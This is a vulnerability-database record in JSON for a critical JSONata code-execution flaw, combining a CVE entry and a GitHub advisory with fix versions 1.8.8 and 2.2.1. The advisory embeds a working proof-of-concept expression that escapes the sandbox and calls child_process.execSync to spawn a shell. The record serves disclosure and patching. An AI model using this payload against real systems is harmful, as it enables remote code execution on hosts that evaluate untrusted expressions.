{"id":"EUVD-2026-64166","revision":null,"records":[{"revision":"1f800a6a6eca4ffea88242528e5e56f5","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-77415","aliases":[],"title":"JSONata: Arbitrary Code Execution via crafted JSONata expressions","description":"JSONata is a JSON query and transformation language. Prior to 1.8.8 and 2.2.1, crafted JSONata expressions could chain several object-integrity weaknesses to execute arbitrary code. The chain could overwrite $clone to mutate objects through evaluateTransformExpression, expose and deconstruct JSONata functions or lambdas through $merge.*, replace proc.arguments.forEach used by applyProcedure, and forge internal lambda state. These primitives allowed an attacker to reach prototype getters, prototype and constructor access, and process.getBuiltinModule with child_process, executing code with the privileges of the host process. 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This issue is fixed in versions 1.8.8 and 2.2.1.","state":0,"publishedAt":"2026-08-21T21:17:07.553+00:00","modifiedAt":"2026-10-12T16:10:00.22+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":9.3,"severity":"CRITICAL"}],"references":["https://github.com/jsonata-js/jsonata/commit/47c0e58542202c705726663166dbee5fcae47d06","https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e","https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2","https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159","https://github.com/jsonata-js/jsonata/commit/f174348c7fa30f271b63ddedf0767e814004bc4d","https://github.com/jsonata-js/jsonata/pull/799","https://github.com/jsonata-js/jsonata/pull/800","https://github.com/jsonata-js/jsonata/pull/802","https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8","https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1","https://github.com/jsonata-js/jsonata/security/advisories/GHSA-66mm-25pp-rfff"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77415","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-94"],"productCriteria":[],"sourceDates":{"published":"2026-08-21T21:17:07.553","lastModified":"2026-10-12T16:10:00.220"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-77415","identifiers":["CVE-2026-77415"]},"retained":false,"historicalAffected":[]},{"revision":"1c821e504e8545dba54f1c4fceb5ea30","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-66mm-25pp-rfff","aliases":["CVE-2026-77415"],"title":"JSONata vulnerable to Arbitrary Code Execution via crafted JSONata expressions","description":"Before JSONata `2.2.1` and `1.8.8` it was possible to execute arbitrary code with\ncrafted expressions, due to:\n- overwriting `$clone` allowing mutation of objects via transforms (see\n[`evaluateTransformExpression`](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1304-L1314))\n- it being possible to destruct jsonata functions/lambdas (e.g. `$merge.*`)\n- [applyProcedure](https://github.com/jsonata-js/jsonata/blob/8ee4476f8a228bfc7a62979ae0a9c13a4043cd03/src/jsonata.js#L1670C20-L1675)\nusing `proc.arguments.forEach` and not `Array.prototype.forEach`\n\nWhich could be chained to execute arbitrary code.\n\nThis was fixed with:\n\n- https://github.com/jsonata-js/jsonata/pull/799\n(https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673)\n- https://github.com/jsonata-js/jsonata/pull/800\n- https://github.com/jsonata-js/jsonata/pull/802\n\nWhich are included in the `2.2.1` release. Fixes were then back-ported to the `1.8.8` release.\n\n## PoC\n\n```js\nimport jsonata from \"jsonata\";\n\nconst expression = jsonata(`\n(\n    $obj := {};\n    $clone := function($o) { $o };\n    $m := ($merge.*)[1];\n\n    $fn := function($a) {\n        (\n            $a({\"value\":\"lg\"},\"__lookupGetter__\");\n            $a({\"value\":\"x\"},\"x\");\n        )\n    };\n\n    $nop := function() { $ };\n\n    $capture := function($val) {\n        $obj ~> | $obj | {\"x\": 1, \"y\": 1, \"lg\":$lg} |\n    };\n\n    $ ~> | $ | $m([$nop,{\"_jsonata_lambda\":false}])|;\n    $ ~> | $ | {\"arguments\":{\"forEach\": $spread($fn)}}|;\n    $ ~> | $ | {\"body\":$m([$capture,{\"_jsonata_lambda\":false}]).body}|;\n    $func := $m([$,{\"_jsonata_lambda\":true}]);\n    $func();\n\n    $gP := $obj.lg(\"__proto__\");\n\n    $afn:=$spread($fn);\n    $afn{\"x\":$gP().constructor(\"return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})\")()};\n)\n`);\n\nawait expression.evaluate({});\n```\n\n## References\n\n- https://github.com/jsonata-js/jsonata/pull/799\n- https://github.com/jsonata-js/jsonata/pull/799/changes#diff-de23c1b6e199d0e59406a284aae5fa7be63fcbbff706829913dba73dcdeb061cL1673-R1673\n- https://github.com/jsonata-js/jsonata/commit/c41ef185136a7b96ca1049c7745a7503b82193de\n\n- https://github.com/jsonata-js/jsonata/pull/800\n- https://github.com/jsonata-js/jsonata/commit/d49dcdd01a4617e5601edda3ce9a971a791126dc\n\n- https://github.com/jsonata-js/jsonata/pull/802\n- https://github.com/jsonata-js/jsonata/commit/e362dfd686c1dadd1dd9324373819be446fd4f04","state":0,"publishedAt":"2026-08-21T21:04:19+00:00","modifiedAt":"2026-08-21T21:25:57.80562+00:00","affected":[{"ecosystem":"npm","name":"jsonata","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"2.0.0"},{"kind":"fixed","version":"2.2.1"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"npm","name":"jsonata","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.8.8"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/jsonata-js/jsonata/security/advisories/GHSA-66mm-25pp-rfff","https://github.com/jsonata-js/jsonata/pull/799","https://github.com/jsonata-js/jsonata/pull/800","https://github.com/jsonata-js/jsonata/pull/802","https://github.com/jsonata-js/jsonata/commit/47c0e58542202c705726663166dbee5fcae47d06","https://github.com/jsonata-js/jsonata/commit/4b217d514376e30cba278941298d7ba97c4a6c6e","https://github.com/jsonata-js/jsonata/commit/59e25144fc3b7125f6befd71b8a6e14e1fa610d2","https://github.com/jsonata-js/jsonata/commit/f09df8416eab8ff44926fc6527c80fb8701de159","https://github.com/jsonata-js/jsonata/commit/f174348c7fa30f271b63ddedf0767e814004bc4d","https://github.com/jsonata-js/jsonata","https://github.com/jsonata-js/jsonata/releases/tag/v1.8.8","https://github.com/jsonata-js/jsonata/releases/tag/v2.2.1"],"sourceUrl":"https://github.com/advisories/GHSA-66mm-25pp-rfff","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-66mm-25pp-rfff","identifiers":["GHSA-66mm-25pp-rfff","CVE-2026-77415"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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